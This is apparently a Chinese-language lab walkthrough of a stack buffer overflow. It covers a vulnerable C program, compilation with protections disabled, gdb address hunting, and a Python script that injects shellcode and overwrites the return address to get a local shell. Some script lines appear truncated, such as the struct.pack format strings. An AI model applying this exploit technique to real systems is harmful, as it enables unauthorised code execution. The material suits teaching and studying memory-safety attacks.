考虑如下的简单c程序
#include
#include
#include
void first128(char *str) {
char buffer[128];
strcpy(buffer, str);
printf("%s\n", buffer);
}
int main(int argc, char **argv) {
static char input[1024];
while (read(STDIN_FILENO, input, 1024) > 0) {
first128(input);
}
return 0;
}
注意到first128
函数的执行存在栈溢出漏洞。若str的长度超过128,strcpy
操作将在buffer
内写入超过128个字节的字符串,覆盖返回地址ret
。
编译选项
$ gcc -g -fno-stack-protector -z execstack vulnerable.c -o vulnerable -D_FORTIFY_SOURCE=0
使用以下命令启动vulnerable程序
$ env - setarch -R ./vulnerable
env - setarch -R
消除地址随机化
在另一个shell中,调试该进程:
$ gdb -p $(pgrep vulnerable)
该命令查找并调试名为vulnerable
的进程。如下图所示
$ WLGF gdb -p $(pgrep vulnerable)
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
2790: No such file or directory.
Attaching to process 2748
在函数first128
处打断点
(gdb) b first128
Breakpoint 1 at 0x401158: file vulnerable.c, line 7.
(gdb) c
Continuing.
查看buffer
起始地址
(gdb) p &buffer
$1 = (char (*)[128]) 0x7fffffffecc0
查看对first128
函数调用的返回地址
(gdb) info frame
Stack level 0, frame at 0x7fffffffed50:
rip = 0x401158 in first128 (vulnerable.c:7); saved rip = 0x401198
called by frame at 0x7fffffffed70
source language c.
Arglist at 0x7fffffffed40, args: str=0x404060 <input> "q\n"
Locals at 0x7fffffffed40, Previous frame's sp is 0x7fffffffed50
Saved registers:
rbp at 0x7fffffffed40, rip at 0x7fffffffed48
注意到前一个栈帧的rbp
地址为0x7fffffffed40
,推断返回地址为rbp+8=0x7fffffffed48
。事实上,Saved registers:rip
含义为当函数调用结束后,rip
应指向的地址,即当前函数的返回地址。
#!/usr/bin/env python3
import os, sys, struct
from signal import signal, SIGPIPE, SIG_DFL
# 让 python 忽略 SIGPIPE 信号,并且不抛出异常
signal(SIGPIPE,SIG_DFL)
addr_buffer = 0x7fffffffecc0
addr_retaddr = 0x7fffffffed48
# We want buffer to first hold the shellcode
shellfile = open("shellcode.bin", "rb")
shellcode = shellfile.read()
# Then we want to pad up until the return address
shellcode += b"A" * ((addr_retaddr - addr_buffer) - len(shellcode))
# Then we write in the address of the shellcode.
# struct.pack("
shellcode += struct.pack(", addr_buffer)
# write the shell code out to the waiting vulnerable program
fp = os.fdopen(sys.stdout.fileno(), 'wb')
fp.write(shellcode)
fp.flush()
# forward user's input to the underlying program
while True:
try:
data = sys.stdin.buffer.read1(1024)
if not data:
break
fp.write(data)
fp.flush()
except KeyboardInterrupt:
break
脚本将shellcode填入局部变量的起始地址,覆盖返回地址为buffer
的起始地址。函数返回时,会返回到局部变量起始地址,自动执行shellcode。get shell成功。
$ python exploit.py | env - setarch -R ./vulnerable
�(YH�H1��AH�A�;H��H�H�QH1��<H1������/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
$ls
Untitled.ipynb a.out exploit.py scan.py shellcode.bin test.c vulnerable vulnerable.c
$pwd
/home/WLGF